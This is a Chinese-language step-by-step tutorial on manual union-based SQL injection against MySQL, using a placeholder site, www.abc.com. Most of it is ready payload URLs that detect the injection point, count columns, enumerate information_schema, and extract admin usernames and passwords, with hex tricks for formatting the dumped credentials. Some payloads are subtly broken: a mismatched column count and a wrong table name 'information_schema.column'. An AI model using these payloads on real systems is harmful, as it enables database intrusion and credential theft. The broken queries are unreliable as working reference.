手動sql注入流程:
1.判斷注入點
2.判斷字段數
3.判斷可顯字段位置
4.爆庫名
5.爆表
6.爆字段
7.爆內容
實驗環境
滲透網站:www.abc.com (已查明沒有此網站,這裏只是舉個例子)
www.abc.com?id=123 是該網站的後臺提交頁面。
此次查詢的字段數是4個。數據庫=gov,表=admin,username=root,password=123456.
思路:我們要在數據庫查詢出我們想要的內容,就需要知道表名和字段名。如:select username,password from admin;
要知道字段名<-表名<-庫名
1.判斷注入點
www.abc.com?id=123 and 1=1 網頁沒報錯
www.abc.com?id=123 and 1=2 網頁報錯
由此可見www.abc.com?id=123是注入點。
2.判斷字段數
order by 判斷此次查詢有幾個字段。
www.abc.com?id=123 order by 4 判斷出此次查詢字段數是4個
3.爆可顯字段。
union聯合查詢可以判斷出可顯字段。
www.abc.com?id=123 and 1=2 union select 1,2,3,4 ;
判斷出2、3號位是可顯字段
4.爆庫名
這裏利用可顯字段爆出數據庫名字、版本等信息。
www.abc.com?id=123 and 1=2 union select 1,version(),group_concat(database(),user()),4;
由此爆出數據庫版本5.1、數據庫用戶root、數據庫名稱gov。
5.爆表
www.abc.com?id=123 and 1=2 union select 1,2,group_concat(table_name),4 from information_schema.tables where table_schema = "gov"
這裏爆出表admin
MySQL數據庫中的information_schema介紹。
information_schema包含了mysql所有的庫、表、列的相關信息 (數據庫)
tables 存放了所有表的信息。在這裏查表名 (表)
columns 存放了所有列的信息。在這裏查列名 (表)
table_name 表名 (字段)
column_name 列名 (字段)
table_schema 庫名 (字段)
幫助理解:tables中保存了所有表信息,所以要查表名可以從tables中查詢,但tables表中有很多表,所以通過table_schema庫名來篩選我們是要查的是哪張表。
注:
group_concat函數
作用:將內容集中顯示。
語法:group_concat(str1,str2,…)
返回結果爲拼接字符串,若有一個參數爲null,則返回值爲null。
爆字段
www.abc.com?id=123 and 1=2 union select 1,2,group_concat(column_name),4 from information_schema.column where table_name = "admin"
這裏爆出字段username、password
爆內容
現在數據庫名、表名、字段(列名)都有了,就可以查詢內容了。
www.abc.com?id=123 and 1=2 union select 1,group_concat(username,password),4 from admin;
這裏爆出username=root password=123456
此時就爆出了數據庫裏的用戶名和密碼了,但是實戰當中表中存的用戶名和密碼可能很多,雜亂無章不好查看。
可以使用以下技巧一遍查看。
技巧:
0x3a 是16進制,在ascll碼中表示冒號 。
可以添加冒號和換行來方便查看。
冒號(:
)在ascll碼中的十六進制表示爲**0x3a
;
html中換行符**(<hr/>
)在ascll碼中的十六進制表示爲0x3C,0x68,0x72,0x2F,0x3E
。
例:
select group_concat(username,0x3a,password,0x3C,0x68,0x72,0x2F,0x3E) from user;
效果類似於下圖: